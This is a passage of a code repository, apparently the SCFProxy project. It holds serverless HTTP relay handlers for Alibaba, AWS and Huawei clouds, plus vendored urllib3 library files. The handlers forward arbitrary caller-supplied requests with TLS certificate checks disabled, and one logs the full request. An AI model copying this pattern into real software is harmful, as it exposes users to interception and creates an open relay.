{ 103 | logrus.Error(err) 104 | } 105 | } 106 | } 107 | 108 | zw.Close() 109 | return buf.Bytes() 110 | } 111 | 112 | func CreateZipBase64(files []File) string { 113 | b := CreateZip(files) 114 | return base64.StdEncoding.EncodeToString(b) 115 | } 116 | -------------------------------------------------------------------------------- /function/http/alibaba.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf8 -*- 2 | import json 3 | from base64 import b64decode, b64encode 4 | 5 | import urllib3 6 | urllib3.disable_warnings() 7 | 8 | 9 | def handler(environ: dict, start_response): 10 | try: 11 | request_body_size = int(environ.get('CONTENT_LENGTH', 0)) 12 | except (ValueError): 13 | request_body_size = 0 14 | request_body = environ['wsgi.input'].read(request_body_size) 15 | 16 | kwargs = json.loads(request_body.decode("utf-8")) 17 | kwargs['body'] = b64decode(kwargs['body']) 18 | 19 | http = urllib3.PoolManager(cert_reqs="CERT_NONE") 20 | # Prohibit automatic redirect to avoid network errors such as connection reset 21 | r = http.request(**kwargs, retries=False, decode_content=False) 22 | 23 | response = { 24 | "headers": {k.lower(): v.lower() for k, v in r.headers.items()}, 25 | "status_code": r.status, 26 | "content": b64encode(r._body).decode('utf-8') 27 | } 28 | 29 | status = '200 OK' 30 | response_headers = [('Content-type', 'text/json')] 31 | start_response(status, response_headers) 32 | return [json.dumps(response)] -------------------------------------------------------------------------------- /function/http/aws.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf8 -*- 2 | import json 3 | from base64 import b64decode, b64encode 4 | 5 | import urllib3 6 | urllib3.disable_warnings() 7 | 8 | 9 | def handler(event: dict, context: dict): 10 | data = b64decode(event["body"]).decode() 11 | kwargs = json.loads(data) 12 | kwargs['body'] = b64decode(kwargs['body']) 13 | 14 | http = urllib3.PoolManager(cert_reqs="CERT_NONE") 15 | 16 | r = http.request(**kwargs, retries=False, decode_content=False) 17 | 18 | headers = {k.lower(): v.lower() for k, v in r.headers.items()} 19 | 20 | response = { 21 | "headers": headers, 22 | "status_code": r.status, 23 | "content": b64encode(r._body).decode('utf-8') 24 | } 25 | 26 | return response -------------------------------------------------------------------------------- /function/http/huawei.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf8 -*- 2 | import json 3 | from base64 import b64decode, b64encode 4 | 5 | import urllib3 6 | urllib3.disable_warnings() 7 | 8 | 9 | def handler(event: dict, context: dict): 10 | data = b64decode(event["body"]).decode() 11 | 12 | kwargs = json.loads(data) 13 | kwargs["body"] = b64decode(kwargs["body"]) 14 | print(kwargs) 15 | 16 | http = urllib3.PoolManager(cert_reqs="CERT_NONE") 17 | r = http.request(**kwargs, retries=False, decode_content=False) 18 | 19 | response = { 20 | "headers": {k.lower(): v.lower() for k, v in r.headers.items()}, 21 | "status_code": r.status, 22 | "content": b64encode(r._body).decode("utf-8"), 23 | } 24 | 25 | return { 26 | "isBase64Encoded": False, 27 | "statusCode": 200, 28 | "headers": {}, 29 | "body": json.dumps(response), 30 | } -------------------------------------------------------------------------------- /function/http/package/urllib3/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more 3 | """ 4 | from __future__ import absolute_import 5 | 6 | # Set default logging handler to avoid "No handler found" warnings. 7 | import logging 8 | import warnings 9 | from logging import NullHandler 10 | 11 | from . import exceptions 12 | from ._version import __version__ 13 | from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, connection_from_url 14 | from .filepost import encode_multipart_formdata 15 | from .poolmanager import PoolManager, ProxyManager, proxy_from_url 16 | from .response import HTTPResponse 17 | from .util.request import make_headers 18 | from .util.retry import Retry 19 | from .util.timeout import Timeout 20 | from .util.url import get_host 21 | 22 | # === NOTE TO REPACKAGERS AND VENDORS === 23 | # Please delete this block, this logic is only 24 | # for urllib3 being distributed via PyPI. 25 | # See: https://github.com/urllib3/urllib3/issues/2680 26 | try: 27 | import urllib3_secure_extra # type: ignore # noqa: F401 28 | except ImportError: 29 | pass 30 | else: 31 | warnings.warn( 32 | "'urllib3[secure]' extra is deprecated and will be removed " 33 | "in a future release of urllib3 2.x. Read more in this issue: " 34 | "https://github.com/urllib3/urllib3/issues/2680", 35 | category=DeprecationWarning, 36 | stacklevel=2, 37 | ) 38 | 39 | __author__ = "Andrey Petrov (andrey.petrov@shazow.net)" 40 | __license__ = "MIT" 41 | __version__ = __version__ 42 | 43 | __all__ = ( 44 | "HTTPConnectionPool", 45 | "HTTPSConnectionPool", 46 | "PoolManager", 47 | "ProxyManager", 48 | "HTTPResponse", 49 | "Retry", 50 | "Timeout", 51 | "add_stderr_logger", 52 | "connection_from_url", 53 | "disable_warnings", 54 | "encode_multipart_formdata", 55 | "get_host", 56 | "make_headers", 57 | "proxy_from_url", 58 | ) 59 | 60 | logging.getLogger(__name__).addHandler(NullHandler()) 61 | 62 | 63 | def add_stderr_logger(level=logging.DEBUG): 64 | """ 65 | Helper for quickly adding a StreamHandler to the logger. Useful for 66 | debugging. 67 | 68 | Returns the handler after adding it. 69 | """ 70 | # This method needs to be in this __init__.py to get the __name__ correct 71 | # even if urllib3 is vendored within another package. 72 | logger = logging.getLogger(__name__) 73 | handler = logging.StreamHandler() 74 | handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(message)s")) 75 | logger.addHandler(handler) 76 | logger.setLevel(level) 77 | logger.debug("Added a stderr logging handler to logger: %s", __name__) 78 | return handler 79 | 80 | 81 | # ... Clean up. 82 | del NullHandler 83 | 84 | 85 | # All warning filters *must* be appended unless you're really certain that they 86 | # shouldn't be: otherwise, it's very hard for users to use most Python 87 | # mechanisms to silence them. 88 | # SecurityWarning's always go off by default. 89 | warnings.simplefilter("always", exceptions.SecurityWarning, append=True) 90 | # SubjectAltNameWarning's should go off once per host 91 | warnings.simplefilter("default", exceptions.SubjectAltNameWarning, append=True) 92 | # InsecurePlatformWarning's don't vary between requests, so we keep it default. 93 | warnings.simplefilter("default", exceptions.InsecurePlatformWarning, append=True) 94 | # SNIMissingWarnings should go off only once. 95 | warnings.simplefilter("default", exceptions.SNIMissingWarning, append=True) 96 | 97 | 98 | def disable_warnings(category=exceptions.HTTPWarning): 99 | """ 100 | Helper for quickly disabling all urllib3 warnings. 101 | """ 102 | warnings.simplefilter("ignore", category) 103 | -------------------------------------------------------------------------------- /function/http/package/urllib3/_version.py: -------------------------------------------------------------------------------- 1 | # This file is protected via CODEOWNERS 2 | __version__ = "1.26.13" 3 | -------------------------------------------------------------------------------- /function/http/package/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/http/package/urllib3/contrib/__init__.py -------------------------------------------------------------------------------- /function/http/package/urllib3/contrib/_appengine_environ.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module provides means to detect the App Engine environment. 3 | """ 4 | 5 | import os 6 | 7 | 8 | def is_appengine(): 9 | return is_local_appengine() or is_prod_appengine() 10 | 11 | 12 | def is_appengine_sandbox(): 13 | """Reports if the app is running in the first generation sandbox. 14 | 15 | The second generation runtimes are technically still in a sandbox, but it 16 | is much less restrictive, so generally you shouldn't need to check for it. 17 | see https://cloud.google.com/appengine/docs/standard/runtimes 18 | """ 19 | return is_appengine() and os.environ["APPENGINE_RUNTIME"] == "python27" 20 | 21 | 22 | def is_local_appengine(): 23 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 24 | "SERVER_SOFTWARE", "" 25 | ).startswith("Development/") 26 | 27 | 28 | def is_prod_appengine(): 29 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 30 | "SERVER_SOFTWARE", "" 31 | ).startswith("Google App Engine/") 32 | 33 | 34 | def is_prod_appengine_mvms(): 35 | """Deprecated.""" 36 | return False 37 | -------------------------------------------------------------------------------- /function/http/package/urllib3/contrib/_securetransport/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/http/package/urllib3/contrib/_securetransport/__init__.py -------------------------------------------------------------------------------- /function/http/package/urllib3/contrib/ntlmpool.py: -------------------------------------------------------------------------------- 1 | """ 2 | NTLM authenticating pool, contributed by erikcederstran 3 | 4 | Issue #10, see: http://code.google.com/p/urllib3/issues/detail?id=10 5 | """ 6 | from __future__ import absolute_import 7 | 8 | import warnings 9 | from logging import getLogger 10 | 11 | from ntlm import ntlm 12 | 13 | from .. import HTTPSConnectionPool 14 | from ..packages.six.moves.http_client import HTTPSConnection 15 | 16 | warnings.warn( 17 | "The 'urllib3.contrib.ntlmpool' module is deprecated and will be removed " 18 | "in urllib3 v2.0 release, urllib3 is not able to support it properly due " 19 | "to reasons listed in issue: https://github.com/urllib3/urllib3/issues/2282. " 20 | "If you are a user of this module please comment in the mentioned issue.", 21 | DeprecationWarning, 22 | ) 23 | 24 | log = getLogger(__name__) 25 | 26 | 27 | class NTLMConnectionPool(HTTPSConnectionPool): 28 | """ 29 | Implements an NTLM authentication version of an urllib3 connection pool 30 | """ 31 | 32 | scheme = "https" 33 | 34 | def __init__(self, user, pw, authurl, *args, **kwargs): 35 | """ 36 | authurl is a random URL on the server that is protected by NTLM. 37 | user is the Windows user, probably in the DOMAIN\\username format. 38 | pw is the password for the user. 39 | """ 40 | super(NTLMConnectionPool, self).__init__(*args, **kwargs) 41 | self.authurl = authurl 42 | self.rawuser = user 43 | user_parts = user.split("\\", 1) 44 | self.domain = user_parts[0].upper() 45 | self.user = user_parts[1] 46 | self.pw = pw 47 | 48 | def _new_conn(self): 49 | # Performs the NTLM handshake that secures the connection. The socket 50 | # must be kept open while requests are performed. 51 | self.num_connections += 1 52 | log.debug( 53 | "Starting NTLM HTTPS connection no. %d: https://%s%s", 54 | self.num_connections, 55 | self.host, 56 | self.authurl, 57 | ) 58 | 59 | headers = {"Connection": "Keep-Alive"} 60 | req_header = "Authorization" 61 | resp_header = "www-authenticate" 62 | 63 | conn = HTTPSConnection(host=self.host, port=self.port) 64 | 65 | # Send negotiation message 66 | headers[req_header] = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE( 67 | self.rawuser 68 | ) 69 | log.debug("Request headers: %s", headers) 70 | conn.request("GET", self.authurl, None, headers) 71 | res = conn.getresponse() 72 | reshdr = dict(res.getheaders()) 73 | log.debug("Response status: %s %s", res.status, res.reason) 74 | log.debug("Response headers: %s", reshdr) 75 | log.debug("Response data: %s [...]", res.read(100)) 76 | 77 | # Remove the reference to the socket, so that it can not be closed by 78 | # the response object (we want to keep the socket open) 79 | res.fp = None 80 | 81 | # Server should respond with a challenge message 82 | auth_header_values = reshdr[resp_header].split(", ") 83 | auth_header_value = None 84 | for s in auth_header_values: 85 | if s[:5] == "NTLM ": 86 | auth_header_value = s[5:] 87 | if auth_header_value is None: 88 | raise Exception( 89 | "Unexpected %s response header: %s" % (resp_header, reshdr[resp_header]) 90 | ) 91 | 92 | # Send authentication message 93 | ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( 94 | auth_header_value 95 | ) 96 | auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( 97 | ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags 98 | ) 99 | headers[req_header] = "NTLM %s" % auth_msg 100 | log.debug("Request headers: %s", headers) 101 | conn.request("GET", self.authurl, None, headers) 102 | res = conn.getresponse() 103 | log.debug("Response status: %s %s", res.status, res.reason) 104 | log.debug("Response headers: %s", dict(res.getheaders())) 105 | log.debug("Response data: %s [...]", res.read()[:100]) 106 | if res.status != 200: 107 | if res.status == 401: 108 | raise Exception("Server rejected request: wrong username or password") 109 | raise Exception("Wrong server response: %s %s" % (res.status, res.reason)) 110 | 111 | res.fp = None 112 | log.debug("Connection established") 113 | return conn 114 | 115 | def urlopen( 116 | self, 117 | method, 118 | url, 119 | body=None, 120 | headers=None, 121 | retries=3, 122 | redirect=True, 123 | assert_same_host=True, 124 | ): 125 | if headers is None: 126 | headers = {} 127 | headers["Connection"] = "Keep-Alive" 128 | return super(NTLMConnectionPool, self).urlopen( 129 | method, url, body, headers, retries, redirect, assert_same_host 130 | ) 131 | -------------------------------------------------------------------------------- /function/http/package/urllib3/contrib/socks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | This module contains provisional support for SOCKS proxies from within 4 | urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and 5 | SOCKS5. To enable its functionality, either install PySocks or install this 6 | module with the ``socks`` extra. 7 | 8 | The SOCKS implementation supports the full range of urllib3 features. It also 9 | supports the following SOCKS features: 10 | 11 | - SOCKS4A (``proxy_url='socks4a://...``) 12 | - SOCKS4 (``proxy_url='socks4://...``) 13 | - SOCKS5 with remote DNS (``proxy_url='socks5h://...``) 14 | - SOCKS5 with local DNS (``proxy_url='socks5://...``) 15 | - Usernames and passwords for the SOCKS proxy 16 | 17 | .. note:: 18 | It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in 19 | your ``proxy_url`` to ensure that DNS resolution is done from the remote 20 | server instead of client-side when connecting to a domain name. 21 | 22 | SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5 23 | supports IPv4, IPv6, and domain names. 24 | 25 | When connecting to a SOCKS4 proxy the ``username`` portion of the ``proxy_url`` 26 | will be sent as the ``userid`` section of the SOCKS request: 27 | 28 | .. code-block:: python 29 | 30 | proxy_url="socks4a://@proxy-host" 31 | 32 | When connecting to a SOCKS5 proxy the ``username`` and ``password`` portion 33 | of the ``proxy_url`` will be sent as the username/password to authenticate 34 | with the proxy: 35 | 36 | .. code-block:: python 37 | 38 | proxy_url="socks5h://:@proxy-host" 39 | 40 | """ 41 | from __future__ import absolute_import 42 | 43 | try: 44 | import socks 45 | except ImportError: 46 | import warnings 47 | 48 | from ..exceptions import DependencyWarning 49 | 50 | warnings.warn( 51 | ( 52 | "SOCKS support in urllib3 requires the installation of optional " 53 | "dependencies: specifically, PySocks. For more information, see " 54 | "https://urllib3.readthedocs.io/en/1.26.x/contrib.html#socks-proxies" 55 | ), 56 | DependencyWarning, 57 | ) 58 | raise 59 | 60 | from socket import error as SocketError 61 | from socket import timeout as SocketTimeout 62 | 63 | from ..connection import HTTPConnection, HTTPSConnection 64 | from ..connectionpool import HTTPConnectionPool, HTTPSConnectionPool 65 | from ..exceptions import ConnectTimeoutError, NewConnectionError 66 | from ..poolmanager import PoolManager 67 | from ..util.url import parse_url 68 | 69 | try: 70 | import ssl 71 | except ImportError: 72 | ssl = None 73 | 74 | 75 | class SOCKSConnection(HTTPConnection): 76 | """ 77 | A plain-text HTTP connection that connects via a SOCKS proxy. 78 | """ 79 | 80 | def __init__(self, *args, **kwargs): 81 | self._socks_options = kwargs.pop("_socks_options") 82 | super(SOCKSConnection, self).__init__(*args, **kwargs) 83 | 84 | def _new_conn(self): 85 | """ 86 | Establish a new connection via the SOCKS proxy. 87 | """ 88 | extra_kw = {} 89 | if self.source_address: 90 | extra_kw["source_address"] = self.source_address 91 | 92 | if self.socket_options: 93 | extra_kw["socket_options"] = self.socket_options 94 | 95 | try: 96 | conn = socks.create_connection( 97 | (self.host, self.port), 98 | proxy_type=self._socks_options["socks_version"], 99 | proxy_addr=self._socks_options["proxy_host"], 100 | proxy_port=self._socks_options["proxy_port"], 101 | proxy_username=self._socks_options["username"], 102 | proxy_password=self._socks_options["password"], 103 | proxy_rdns=self._socks_options["rdns"], 104 | timeout=self.timeout, 105 | **extra_kw 106 | ) 107 | 108 | except SocketTimeout: 109 | raise ConnectTimeoutError( 110 | self, 111 | "Connection to %s timed out. (connect timeout=%s)" 112 | % (self.host, self.timeout), 113 | ) 114 | 115 | except socks.ProxyError as e: 116 | # This is fragile as hell, but it seems to be the only way to raise 117 | # useful errors here. 118 | if e.socket_err: 119 | error = e.socket_err 120 | if isinstance(error, SocketTimeout): 121 | raise ConnectTimeoutError( 122 | self, 123 | "Connection to %s timed out. (connect timeout=%s)" 124 | % (self.host, self.timeout), 125 | ) 126 | else: 127 | raise NewConnectionError( 128 | self, "Failed to establish a new connection: %s" % error 129 | ) 130 | else: 131 | raise NewConnectionError( 132 | self, "Failed to establish a new connection: %s" % e 133 | ) 134 | 135 | except SocketError as e: # Defensive: PySocks should catch all these. 136 | raise NewConnectionError( 137 | self, "Failed to establish a new connection: %s" % e 138 | ) 139 | 140 | return conn 141 | 142 | 143 | # We don't need to duplicate the Verified/Unverified distinction from 144 | # urllib3/connection.py here because the HTTPSConnection will already have been 145 | # correctly set to either the Verified or Unverified form by that module. This 146 | # means the SOCKSHTTPSConnection will automatically be the correct type. 147 | class SOCKSHTTPSConnection(SOCKSConnection, HTTPSConnection): 148 | pass 149 | 150 | 151 | class SOCKSHTTPConnectionPool(HTTPConnectionPool): 152 | ConnectionCls = SOCKSConnection 153 | 154 | 155 | class SOCKSHTTPSConnectionPool(HTTPSConnectionPool): 156 | ConnectionCls = SOCKSHTTPSConnection 157 | 158 | 159 | class SOCKSProxyManager(PoolManager): 160 | """ 161 | A version of the urllib3 ProxyManager that routes connections via the 162 | defined SOCKS proxy. 163 | """ 164 | 165 | pool_classes_by_scheme = { 166 | "http": SOCKSHTTPConnectionPool, 167 | "https": SOCKSHTTPSConnectionPool, 168 | } 169 | 170 | def __init__( 171 | self, 172 | proxy_url, 173 | username=None, 174 | password=None, 175 | num_pools=10, 176 | headers=None, 177 | **connection_pool_kw 178 | ): 179 | parsed = parse_url(proxy_url) 180 | 181 | if username is None and password is None and parsed.auth is not None: 182 | split = parsed.auth.split(":") 183 | if len(split) == 2: 184 | username, password = split 185 | if parsed.scheme == "socks5": 186 | socks_version = socks.PROXY_TYPE_SOCKS5 187 | rdns = False 188 | elif parsed.scheme == "socks5h": 189 | socks_version = socks.PROXY_TYPE_SOCKS5 190 | rdns = True 191 | elif parsed.scheme == "socks4": 192 | socks_version = socks.PROXY_TYPE_SOCKS4 193 | rdns = False 194 | elif parsed.scheme == "socks4a": 195 | socks_version = socks.PROXY_TYPE_SOCKS4 196 | rdns = True 197 | else: 198 | raise ValueError("Unable to determine SOCKS version from %s" % proxy_url) 199 | 200 | self.proxy_url = proxy_url 201 | 202 | socks_options = { 203 | "socks_version": socks_version, 204 | "proxy_host": parsed.host, 205 | "proxy_port": parsed.port, 206 | "username": username, 207 | "password": password, 208 | "rdns": rdns, 209 | } 210 | connection_pool_kw["_socks_options"] = socks_options 211 | 212 | super(SOCKSProxyManager, self).__init__( 213 | num_pools, headers, **connection_pool_kw 214 | ) 215 | 216 | self.pool_classes_by_scheme = SOCKSProxyManager.pool_classes_by_scheme 217 | -------------------------------------------------------------------------------- /function/http/package/urllib3/exceptions.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from .packages.six.moves.http_client import IncompleteRead as httplib_IncompleteRead 4 | 5 | # Base Exceptions 6 | 7 | 8 | class HTTPError(Exception): 9 | """Base exception used by this module.""" 10 | 11 | pass 12 | 13 | 14 | class HTTPWarning(Warning): 15 | """Base warning used by this module.""" 16 | 17 | pass 18 | 19 | 20 | class PoolError(HTTPError): 21 | """Base exception for errors caused within a pool.""" 22 | 23 | def __init__(self, pool, message): 24 | self.pool = pool 25 | HTTPError.__init__(self, "%s: %s" % (pool, message)) 26 | 27 | def __reduce__(self): 28 | # For pickling purposes. 29 | return self.__class__, (None, None) 30 | 31 | 32 | class RequestError(PoolError): 33 | """Base exception for PoolErrors that have associated URLs.""" 34 | 35 | def __init__(self, pool, url, message): 36 | self.url = url 37 | PoolError.__init__(self, pool, message) 38 | 39 | def __reduce__(self): 40 | # For pickling purposes. 41 | return self.__class__, (None, self.url, None) 42 | 43 | 44 | class SSLError(HTTPError): 45 | """Raised when SSL certificate fails in an HTTPS connection.""" 46 | 47 | pass 48 | 49 | 50 | class ProxyError(HTTPError): 51 | """Raised when the connection to a proxy fails.""" 52 | 53 | def __init__(self, message, error, *args): 54 | super(ProxyError, self).__init__(message, error, *args) 55 | self.original_error = error 56 | 57 | 58 | class DecodeError(HTTPError): 59 | """Raised when automatic decoding based on Content-Type fails.""" 60 | 61 | pass 62 | 63 | 64 | class ProtocolError(HTTPError): 65 | """Raised when something unexpected happens mid-request/response.""" 66 | 67 | pass 68 | 69 | 70 | #: Renamed to ProtocolError but aliased for backwards compatibility. 71 | ConnectionError = ProtocolError 72 | 73 | 74 | # Leaf Exceptions 75 | 76 | 77 | class MaxRetryError(RequestError): 78 | """Raised when the maximum number of retries is exceeded. 79 | 80 | :param pool: The connection pool 81 | :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool` 82 | :param string url: The requested Url 83 | :param exceptions.Exception reason: The underlying error 84 | 85 | """ 86 | 87 | def __init__(self, pool, url, reason=None): 88 | self.reason = reason 89 | 90 | message = "Max retries exceeded with url: %s (Caused by %r)" % (url, reason) 91 | 92 | RequestError.__init__(self, pool, url, message) 93 | 94 | 95 | class HostChangedError(RequestError): 96 | """Raised when an existing pool gets a request for a foreign host.""" 97 | 98 | def __init__(self, pool, url, retries=3): 99 | message = "Tried to open a foreign host with url: %s" % url 100 | RequestError.__init__(self, pool, url, message) 101 | self.retries = retries 102 | 103 | 104 | class TimeoutStateError(HTTPError): 105 | """Raised when passing an invalid state to a timeout""" 106 | 107 | pass 108 | 109 | 110 | class TimeoutError(HTTPError): 111 | """Raised when a socket timeout error occurs. 112 | 113 | Catching this error will catch both :exc:`ReadTimeoutErrors 114 | ` and :exc:`ConnectTimeoutErrors `. 115 | """ 116 | 117 | pass 118 | 119 | 120 | class ReadTimeoutError(TimeoutError, RequestError): 121 | """Raised when a socket timeout occurs while receiving data from a server""" 122 | 123 | pass 124 | 125 | 126 | # This timeout error does not have a URL attached and needs to inherit from the 127 | # base HTTPError 128 | class ConnectTimeoutError(TimeoutError): 129 | """Raised when a socket timeout occurs while connecting to a server""" 130 | 131 | pass 132 | 133 | 134 | class NewConnectionError(ConnectTimeoutError, PoolError): 135 | """Raised when we fail to establish a new connection. Usually ECONNREFUSED.""" 136 | 137 | pass 138 | 139 | 140 | class EmptyPoolError(PoolError): 141 | """Raised when a pool runs out of connections and no more are allowed.""" 142 | 143 | pass 144 | 145 | 146 | class ClosedPoolError(PoolError): 147 | """Raised when a request enters a pool after the pool has been closed.""" 148 | 149 | pass 150 | 151 | 152 | class LocationValueError(ValueError, HTTPError): 153 | """Raised when there is something wrong with a given URL input.""" 154 | 155 | pass 156 | 157 | 158 | class LocationParseError(LocationValueError): 159 | """Raised when get_host or similar fails to parse the URL input.""" 160 | 161 | def __init__(self, location): 162 | message = "Failed to parse: %s" % location 163 | HTTPError.__init__(self, message) 164 | 165 | self.location = location 166 | 167 | 168 | class URLSchemeUnknown(LocationValueError): 169 | """Raised when a URL input has an unsupported scheme.""" 170 | 171 | def __init__(self, scheme): 172 | message = "Not supported URL scheme %s" % scheme 173 | super(URLSchemeUnknown, self).__init__(message) 174 | 175 | self.scheme = scheme 176 | 177 | 178 | class ResponseError(HTTPError): 179 | """Used as a container for an error reason supplied in a MaxRetryError.""" 180 | 181 | GENERIC_ERROR = "too many error responses" 182 | SPECIFIC_ERROR = "too many {status_code} error responses" 183 | 184 | 185 | class SecurityWarning(HTTPWarning): 186 | """Warned when performing security reducing actions""" 187 | 188 | pass 189 | 190 | 191 | class SubjectAltNameWarning(SecurityWarning): 192 | """Warned when connecting to a host with a certificate missing a SAN.""" 193 | 194 | pass 195 | 196 | 197 | class InsecureRequestWarning(SecurityWarning): 198 | """Warned when making an unverified HTTPS request.""" 199 | 200 | pass 201 | 202 | 203 | class SystemTimeWarning(SecurityWarning): 204 | """Warned when system time is suspected to be wrong""" 205 | 206 | pass 207 | 208 | 209 | class InsecurePlatformWarning(SecurityWarning): 210 | """Warned when certain TLS/SSL configuration is not available on a platform.""" 211 | 212 | pass 213 | 214 | 215 | class SNIMissingWarning(HTTPWarning): 216 | """Warned when making a HTTPS request without SNI available.""" 217 | 218 | pass 219 | 220 | 221 | class DependencyWarning(HTTPWarning): 222 | """ 223 | Warned when an attempt is made to import a module with missing optional 224 | dependencies. 225 | """ 226 | 227 | pass 228 | 229 | 230 | class ResponseNotChunked(ProtocolError, ValueError): 231 | """Response needs to be chunked in order to read it as chunks.""" 232 | 233 | pass 234 | 235 | 236 | class BodyNotHttplibCompatible(HTTPError): 237 | """ 238 | Body should be :class:`http.client.HTTPResponse` like 239 | (have an fp attribute which returns raw chunks) for read_chunked(). 240 | """ 241 | 242 | pass 243 | 244 | 245 | class IncompleteRead(HTTPError, httplib_IncompleteRead): 246 | """ 247 | Response length doesn't match expected Content-Length 248 | 249 | Subclass of :class:`http.client.IncompleteRead` to allow int value 250 | for ``partial`` to avoid creating large objects on streamed reads. 251 | """ 252 | 253 | def __init__(self, partial, expected): 254 | super(IncompleteRead, self).__init__(partial, expected) 255 | 256 | def __repr__(self): 257 | return "IncompleteRead(%i bytes read, %i more expected)" % ( 258 | self.partial, 259 | self.expected, 260 | ) 261 | 262 | 263 | class InvalidChunkLength(HTTPError, httplib_IncompleteRead): 264 | """Invalid chunk length in a chunked response.""" 265 | 266 | def __init__(self, response, length): 267 | super(InvalidChunkLength, self).__init__( 268 | response.tell(), response.length_remaining 269 | ) 270 | self.response = response 271 | self.length = length 272 | 273 | def __repr__(self): 274 | return "InvalidChunkLength(got length %r, %i bytes read)" % ( 275 | self.length, 276 | self.partial, 277 | ) 278 | 279 | 280 | class InvalidHeader(HTTPError): 281 | """The header provided was somehow invalid.""" 282 | 283 | pass 284 | 285 | 286 | class ProxySchemeUnknown(AssertionError, URLSchemeUnknown): 287 | """ProxyManager does not support the supplied scheme""" 288 | 289 | # TODO(t-8ch): Stop inheriting from AssertionError in v2.0. 290 | 291 | def __init__(self, scheme): 292 | # 'localhost' is here because our URL parser parses 293 | # localhost:8080 -> scheme=localhost, remove if we fix this. 294 | if scheme == "localhost": 295 | scheme = None 296 | if scheme is None: 297 | message = "Proxy URL had no scheme, should start with http:// or https://" 298 | else: 299 | message = ( 300 | "Proxy URL had unsupported scheme %s, should use http:// or https://" 301 | % scheme 302 | ) 303 | super(ProxySchemeUnknown, self).__init__(message) 304 | 305 | 306 | class ProxySchemeUnsupported(ValueError): 307 | """Fetching HTTPS resources through HTTPS proxies is unsupported""" 308 | 309 | pass 310 | 311 | 312 | class HeaderParsingError(HTTPError): 313 | """Raised by assert_header_parsing, but we convert it to a log.warning statement.""" 314 | 315 | def __init__(self, defects, unparsed_data): 316 | message = "%s, unparsed data: %r" % (defects or "Unknown", unparsed_data) 317 | super(HeaderParsingError, self).__init__(message) 318 | 319 | 320 | class UnrewindableBodyError(HTTPError): 321 | """urllib3 encountered an error when trying to rewind a body""" 322 | 323 | pass 324 | -------------------------------------------------------------------------------- /function/http/package/urllib3/fields.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import email.utils 4 | import mimetypes 5 | import re 6 | 7 | from .packages import six 8 | 9 | 10 | def guess_content_type(filename, default="application/octet-stream"): 11 | """ 12 | Guess the "Content-Type" of a file. 13 | 14 | :param filename: 15 | The filename to guess the "Content-Type" of using :mod:`mimetypes`. 16 | :param default: 17 | If no "Content-Type" can be guessed, default to `default`. 18 | """ 19 | if filename: 20 | return mimetypes.guess_type(filename)[0] or default 21 | return default 22 | 23 | 24 | def format_header_param_rfc2231(name, value): 25 | """ 26 | Helper function to format and quote a single header parameter using the 27 | strategy defined in RFC 2231. 28 | 29 | Particularly useful for header parameters which might contain 30 | non-ASCII values, like file names. This follows 31 | `RFC 2388 Section 4.4 `_. 32 | 33 | :param name: 34 | The name of the parameter, a string expected to be ASCII only. 35 | :param value: 36 | The value of the parameter, provided as ``bytes`` or `str``. 37 | :ret: 38 | An RFC-2231-formatted unicode string. 39 | """ 40 | if isinstance(value, six.binary_type): 41 | value = value.decode("utf-8") 42 | 43 | if not any(ch in value for ch in '"\\\r\n'): 44 | result = u'%s="%s"' % (name, value) 45 | try: 46 | result.encode("ascii") 47 | except (UnicodeEncodeError, UnicodeDecodeError): 48 | pass 49 | else: 50 | return result 51 | 52 | if six.PY2: # Python 2: 53 | value = value.encode("utf-8") 54 | 55 | # encode_rfc2231 accepts an encoded string and returns an ascii-encoded 56 | # string in Python 2 but accepts and returns unicode strings in Python 3 57 | value = email.utils.encode_rfc2231(value, "utf-8") 58 | value = "%s*=%s" % (name, value) 59 | 60 | if six.PY2: # Python 2: 61 | value = value.decode("utf-8") 62 | 63 | return value 64 | 65 | 66 | _HTML5_REPLACEMENTS = { 67 | u"\u0022": u"%22", 68 | # Replace "\" with "\\". 69 | u"\u005C": u"\u005C\u005C", 70 | } 71 | 72 | # All control characters from 0x00 to 0x1F *except* 0x1B. 73 | _HTML5_REPLACEMENTS.update( 74 | { 75 | six.unichr(cc): u"%{:02X}".format(cc) 76 | for cc in range(0x00, 0x1F + 1) 77 | if cc not in (0x1B,) 78 | } 79 | ) 80 | 81 | 82 | def _replace_multiple(value, needles_and_replacements): 83 | def replacer(match): 84 | return needles_and_replacements[match.group(0)] 85 | 86 | pattern = re.compile( 87 | r"|".join([re.escape(needle) for needle in needles_and_replacements.keys()]) 88 | ) 89 | 90 | result = pattern.sub(replacer, value) 91 | 92 | return result 93 | 94 | 95 | def format_header_param_html5(name, value): 96 | """ 97 | Helper function to format and quote a single header parameter using the 98 | HTML5 strategy. 99 | 100 | Particularly useful for header parameters which might contain 101 | non-ASCII values, like file names. This follows the `HTML5 Working Draft 102 | Section 4.10.22.7`_ and matches the behavior of curl and modern browsers. 103 | 104 | .. _HTML5 Working Draft Section 4.10.22.7: 105 | https://w3c.github.io/html/sec-forms.html#multipart-form-data 106 | 107 | :param name: 108 | The name of the parameter, a string expected to be ASCII only. 109 | :param value: 110 | The value of the parameter, provided as 